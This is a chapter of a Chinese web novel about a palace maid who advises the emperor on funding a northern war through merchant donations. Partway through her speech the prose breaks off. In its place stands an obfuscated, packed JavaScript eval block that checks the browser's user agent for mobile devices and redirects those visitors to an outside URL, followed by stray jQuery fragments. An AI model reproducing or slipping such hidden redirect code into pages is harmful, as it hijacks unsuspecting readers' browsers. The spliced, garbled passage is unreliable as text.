第28章 为商者奸

作品:《逼我当妾?我转身当了皇帝宠妃!

    回到静思斋,顾昭棠倒是并未急着入睡。


    沐浴净身过后,她便身着里衣坐在梳妆台前,手中执笔,不紧不慢地描着眉。


    她本就长得清冷脱俗,此刻虽不施粉黛,却越发显得勾人。


    忽而,门口传来脚步声。


    镜中的朱唇随之勾起,似是对此早有预料。


    “砰砰砰!”“顾姑娘,陛下有请!”


    敲门声与陈德海的声音同时在门外响起。


    闻言,顾昭棠淡定起身,同时对门外的人回应了声。


    “公公稍等,我这便穿衣。”


    食指与中指轻捻在一起,她以指尖挑过架子上的衣裳套在身上,随意的系好。


    衣领处恰到好处地露出稍微有些凌乱的里衣与白皙的肌肤,让人浮想联翩,如瀑的长发披在身后,为她更添几分魅惑。


    御书房内,萧晏溟一眼瞧见的便是如此打扮的她。


    目光瞬间变得幽深,脑海中也不由得浮现出在红霞寺中,她身着轻纱,脚带铃铛,在身下动情呻吟的场面。


    热血在一瞬间沸腾,心底也不由得泛起悸动。


    见他盯着自己,顾昭棠适时弯下脖颈,扯了扯自己的衣裳,眼睛湿漉漉地解释。


    “陛下深夜传召,奴怕耽误了时辰,故而来的匆忙了些,并非故意衣衫不整来见陛下,还请陛下恕罪!”


    闻言,萧晏溟压下异样,不动声色将目光挪开,淡淡应了声。


    “无需多礼,既是来了,便坐下吧!”


    顾昭棠挪着步子,坐在距离萧晏溟不远处的椅子上。


    余光撇了坐在上位的人一眼,只见他手中拿着的正是自己夹在奏折中的纸张。


    她当下了然,心中轻舒了口气。


    果不其然,如她所料,下一刻萧晏溟便目光灼灼地盯着她,将手中的纸张放在桌上,声音不含温度地试探。


    “你可知朕深夜召你前来,所为何事?”


    按规矩,她身为奴仆,态度理应谦逊。


    但萧晏溟是个聪明人,与聪明人谈话,真诚些反而会有意料不到的效果。


    顾昭棠微微抬眸,抿唇回应。


    “奴大胆猜测,是为策论一事。”


    见她如此坦率,萧晏溟挑了挑眉,幽幽地念着她写下的策论,疑心渐起。


    “暂缓加征赋税,以皇室名义号召京中富商募捐,并以未来盐茶售卖优先权为补偿……你一介闺中女子,对朝中之事了解的倒是不少。”


    此话别有深意,顾昭棠自是听得出的。


    她的心猛然瑟缩了下,但很快就镇定下来,攥紧了袖下的手,淡定解释。


    “陛下谬赞,在奴还未离开国公府时,偶然听顾国公提过几句,近日来又逢北蛮来犯,致使北境粮草吃紧,故而有所联想。”


    “近些时日见陛下为此劳累不已,时常夜不能寐,奴心中担忧,才斗胆做出此番策论,想为陛下分忧,若奴思虑不周,还请陛下恕罪!”


    探究的目光在她身上来回梭视,顾昭棠被他盯得心底有些发毛。


    伴君如伴虎。


    莫非这次,她触及到了萧晏溟的逆鳞?


    心中如此猜测着,却听得上座的人儿开口打破宁静。


    “朕倒是觉得此法甚妙,若真能行,的确是个一石二鸟的好办法。不过为商者奸,你为何觉得朕以皇室名义号召,京中富商便会乖乖募捐?”


    此事她早已核算过,倒也不怕萧晏溟问。


    顾昭棠心底微松,舒眉沉吟了片刻,这才斟酌回应。


    “陛下也说了,为商者奸。”


    “天下生意无非分两类,一为私,如布匹,香料等,二为公,便是盐与茶。而大多商户经的是私商,可以说遍地都是对家,若想得利,须得薄利多销。”


    “但盐茶是公商,归朝廷管辖,其中利润丰厚,不少富商趋之若鹜,却又寻之无门,如今陛下借北境之事公然募捐,他们既能得此肥差,还能白赚个好名声,便是损失些白银又如何?”


    即便萧晏溟不这么做,盐与茶的售卖权依旧会被暗中卖出。


    与其让这笔银子落入那些中饱私囊的官差之手,倒还不如充入国库,以解国忧。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17067863|195175||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    到此,顾昭棠的话头戛然而止。


    至于后面的话,顾昭棠并未明说,但其中暗示之意已然明了。


    相信萧晏溟亦能明白。


    待她说完,萧晏溟目光更为深邃了些,修长的手指在桌子上轻轻敲击着。


    却又并未反驳顾昭棠的话。


    见状,顾昭棠便知,这次她又赌对了。


    谈论完此事,外面的天空已经泛起了鱼肚白。


    再过一个时辰,怕是就要天亮了。


    看了眼坐在椅子上,因困倦而眼底微微泛红的人儿,萧晏溟眉头微皱,漫不经心地摆手让她退下。


    “时候不早了,你且先回去休息吧!”


    “此事朕会慎重考虑,明日你可休息半日,不必太早来御书房当值!”


    顾昭棠点头称是,遂离开了御书房。


    此后几日,早朝上萧晏溟与朝中大臣商议,提出此法。


    虽未完全采纳顾昭棠的策论,但大致思路却是一致,这笔军饷既不动用国库,亦不从百姓手中抢夺,而是让富商心甘情愿地从自己腰包里掏。


    本来兵部与户部因为此事闹得不可开交。


    听了此法,倒也难得默契地表示同意。


    朝中大臣本还怕萧晏溟会下旨,让他们这些做臣子的自掏腰包,为北境将士凑出军饷来,个个都提心吊胆的,如今听了萧晏溟的话,也都放心了。


    唯有一人,眼底阴郁,并不开心。


    回到府中,萧容徽刚进房间,身上的朝服都还未来得及换,便一掌砸在桌上,眸中愤然。


    “明明就差一点,就能让他元气大伤。”


    “他不是向来最重颜面吗?怎么会突然想到让富商募捐的办法?”


    身后的侍卫也不知该如何劝说,只能站在他的身侧,任由他发泄心中的情绪。


    就在此时,外面传来翅膀扇动的声音。


    紧接着,就有一只信鸽不偏不倚地落在房间门口的地面上,姿态悠然地转着圈。


    侍卫连忙上前,将绑在信鸽腿上的纸条拆了下来,躬身递给萧容徽。